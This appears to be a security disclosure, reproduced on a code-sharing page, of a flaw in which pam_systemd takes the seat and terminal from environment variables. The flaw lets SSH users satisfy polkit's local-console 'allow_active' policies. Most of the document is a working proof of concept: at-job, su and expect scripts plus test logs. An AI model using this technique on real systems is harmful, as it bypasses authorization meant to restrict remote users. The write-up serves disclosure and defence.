扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 |
As documented at <https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for any action, a polkit policy can specify separate levels of required authentication based on whether a client is: - in an active session on a local console - in an inactive session on a local console - or neither This is expressed in the policy using the elements "allow_any", "allow_inactive" and "allow_active". Very roughly speaking, the idea here is to give special privileges to processes owned by users that are sitting physically in front of the machine (or at least, a keyboard and a screen that are connected to a machine), and restrict processes that e.g. belong to users that are ssh'ing into a machine. For example, the ability to refresh the system's package index is restricted this way using a policy in /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy: <action id="org.freedesktop.packagekit.system-sources-refresh"> [...] <description>Refresh system repositories</description> [...] <message>Authentication is required to refresh the system repositories</message> [...] <defaults> <allow_any>auth_admin</allow_any> <allow_inactive>auth_admin</allow_inactive> <allow_active>yes</allow_active> </defaults> </action> On systems that use systemd-logind, polkit determines whether a session is associated with a local console by checking whether systemd-logind is tracking the session as being associated with a "seat". This happens through polkit_backend_session_monitor_is_session_local() in polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat(). The check whether a session is active works similarly. systemd-logind is informed about the creation of new sessions by the PAM module pam_systemd through a systemd message bus call from pam_sm_open_session() to method_create_session(). The RPC method trusts the information supplied to it, apart from some consistency checks; that is not directly a problem, since this RPC method can only be invoked by root. This means that the PAM module needs to ensure that it doesn't pass incorrect data to systemd-logind. Looking at the code in the PAM module, however, you can see that the seat name of the session and the virtual terminal number come from environment variables: seat = getenv_harder(handle, "XDG_SEAT", NULL); cvtnr = getenv_harder(handle, "XDG_VTNR", NULL); type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam); class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam); desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam); This is actually documented at <https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>. After some fixup logic that is irrelevant here, this data is then passed to the RPC method. One quirk of this issue is that a new session is only created if the calling process is not already part of a session (based on the cgroups it is in, parsed from procfs). This means that an attacker can't simply ssh into a machine, set some environment variables, and then invoke a setuid binary that uses PAM (such as "su") because ssh already triggers creation of a session via PAM. But as it turns out, the systemd PAM module is only invoked for interactive sessions: # cat /usr/share/pam-configs/systemd Name: Register user sessions in the systemd control group hierarchy Default: yes Priority: 0 Session-Interactive-Only: yes Session-Type: Additional Session: optional pam_systemd.so So, under the following assumptions: - we can run commands on the remote machine, e.g. via SSH - our account can be used with "su" (it has a password and isn't disabled) - the machine has no X server running and is currently displaying tty1, with a login prompt we can have our actions checked against the "allow_active" policies instead of the "allow_any" policies as follows: - SSH into the machine - use "at" to schedule a job in one minute that does the following: * wipe the environment * set XDG_SEAT=seat0 and XDG_VTNR=1 * use "expect" to run "su -c {...} {our_username}" and enter our user's password * in the shell invoked by "su", perform the action we want to run under the "allow_active" policy I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced), after ensuring that no sessions are active and the VM's screen is showing the login prompt on tty1; all following commands are executed over SSH: ===================================================================== normal_user@deb10:~$ cat session_outer.sh #!/bin/sh echo "===== OUTER TESTING PKCON" >/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log env -i /home/normal_user/session_middle.sh normal_user@deb10:~$ cat session_middle.sh #!/bin/sh export XDG_SEAT=seat0 export XDG_VTNR=1 echo "===== ENV DUMP =====" > /tmp/atjob.log env >> /tmp/atjob.log echo "===== SESSION_OUTER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log /home/normal_user/runsu.expect echo "=========================" >> /tmp/atjob.log normal_user@deb10:~$ cat runsu.expect #!/usr/bin/expect spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user expect "Password: " send "{{{PASSWORD}}}\n" expect eof normal_user@deb10:~$ cat session_inner.sh #!/bin/sh echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log loginctl --no-ask-password >> /tmp/atjob.log echo "===== SESSION_INNER =====" >> /tmp/atjob.log cat /proc/self/cgroup >> /tmp/atjob.log echo "===== INNER TESTING PKCON" >>/tmp/atjob.log pkcon refresh -p </dev/null >>/tmp/atjob.log normal_user@deb10:~$ loginctl SESSIONUID USERSEAT TTY 7 1001 normal_userpts/0 1 sessions listed. normal_user@deb10:~$ pkcon refresh -p </dev/null Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}} warning: commands will be executed using /bin/sh job 25 at {{{TIME}}} {{{ wait here until specified time has been reached, plus time for the job to finish running}}} normal_user@deb10:~$ cat /tmp/atjob.log ===== ENV DUMP ===== XDG_SEAT=seat0 XDG_VTNR=1 PWD=/home/normal_user ===== SESSION_OUTER ===== 10:memory:/system.slice/atd.service 9:freezer:/ 8:pids:/system.slice/atd.service 7:perf_event:/ 6:devices:/system.slice/atd.service 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/system.slice/atd.service 0::/system.slice/atd.service ===== OUTER LOGIN STATE ===== SESSIONUID USERSEAT TTY 7 1001 normal_userpts/0 1 sessions listed. ===== MIDDLE TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Finished Results: Fatal error: Failed to obtain authentication. ===== INNER LOGIN STATE ===== SESSIONUID USERSEATTTY 18 1001 normal_user seat0 pts/1 7 1001 normal_user pts/0 2 sessions listed. ===== SESSION_INNER ===== 10:memory:/user.slice/user-1001.slice/session-18.scope 9:freezer:/ 8:pids:/user.slice/user-1001.slice/session-18.scope 7:perf_event:/ 6:devices:/user.slice 5:net_cls,net_prio:/ 4:cpuset:/ 3:blkio:/ 2:cpu,cpuacct:/ 1:name=systemd:/user.slice/user-1001.slice/session-18.scope 0::/user.slice/user-1001.slice/session-18.scope ===== INNER TESTING PKCON Transaction: Refreshing cache Status: Waiting in queue Status: Waiting for authentication Status: Waiting in queue Status: Starting Status: Loading cache Percentage: 0 Percentage: 50 Percentage: 100 Percentage: 0 Percentage: 50 Percentage: 100 Status: Refreshing software list Status: Downloading packages Percentage: 0 Status: Running Status: Loading cache Percentage: 100 Status: Finished Results: Enabledhttp://ftp.ch.debian.org/debian buster InRelease Enabledhttp://security.debian.org/debian-security buster/updates InRelease Enabledhttp://debug.mirrors.debian.org/debian-debug buster-debug InRelease ========================= You have new mail in /var/mail/normal_user normal_user@deb10:~$ ===================================================================== |
体验盒子
